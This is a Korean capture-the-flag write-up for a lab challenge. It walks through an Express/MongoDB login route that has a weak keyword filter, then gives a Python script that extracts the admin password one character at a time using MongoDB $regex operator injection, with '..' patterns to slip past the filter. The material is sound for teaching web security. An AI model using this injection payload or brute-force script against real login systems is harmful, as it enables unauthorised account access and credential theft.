먼저 노드 js의 express 미들웨어를 알아보자
아래 코드를 보면 각 위치에 것들이 무슨 역할 하는지 알 수 있다.
app.get : get요청으로
app.get(/login,:/login 경로에
app.get(/login, function(req, res){res.send("Hello World");})
함수를 핸들러로 사용해서 실행한다.
var express = require('express');
var app = express();
/**
METHOD : Http Method(GET, POST, PUT, DELETE, PATCH 등)
* PATH : [경로]
* HANDLER : [경로 접근 시, 처리 핸들러]
*/
app.METHOD(PATH, HANDLER)
이제 문제의 서버 코드를 살펴보자
const express = require('express');
const app = express();
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
app.get('/', function(req, res) {
res.send('/login?uid=guest&upw=guest');
});
app.listen(8000, '0.0.0.0');
먼저 메인페이지에서는 /login?uid=guest&upw=guest 라는 텍스트를 응답한다.
그 다음은 /login 페이지를 보자 요청을 받으면 GET으로 받은 값들을 먼저 필터링을 하고 uid,upw에 담는다.
이후 담은 값들을 이용해서 데이터베이스를 통하여 id와 pw가 일치하는 유저를 찾는다.
우리는 저 GET으로 받는 값들에 악의적인 인젝션 코드를 브루트포스 기법으로 보내서 계속적으로 응답을 받을 것이다.
참이라면 그에 맞는 uid값을 보낸다,
그렇다면 우리가 할 것은
uid가 admin일 때 pw를 하나씩 물어보면서 참인지 아닌지 응답을 받는 것이다.
그럼 파이썬 코드를 작성해보자
import requests
import string
url="http://host3.dreamhack.games:24112/login?uid[$regex]=ad...&upw[$regex]=D.{"
alphanumeric = string.ascii_letters + string.digits
flag=""
for x in range(32):
for ch in alphanumeric:
res=requests.get(url+flag+ch+".*")
if(res.text=='admin'):
flag+=ch
print("DH{"+flag+ch+"}")
break
print("DH{"+flag+"}")
이 코드를 해석하면 타겟 서버에 get으로 요청을 보내는데 그 url의 param은 uid[$regex]=ad...&upw[$regex]=D.{" 이다
uid가 ad... 이면서 upw가 D.{ 인 것이다.
여기서 ..은 임의의 문자이고 필터링을 피하기 위해서 사용한다.
여기서 끝나게 되면 D.{이라는 upw가 고정값이 되기 때문에 그 뒤에 무엇이 와도 좋다는 문자를 넣어야한다.
그것은 .* 이라는 문자이다.
*은 리눅스에서도 써서 알겠지만 모든 걸 뜻한다.
그렇게 for문을 작동하고 flag의 길이인 32번의 반복마다 알파벳을 모두 돌며 한 글자씩 찾아서 flag에 담는 일을 수행한다.
그렇게 되면 아래처럼
flag를 얻을 수 있다.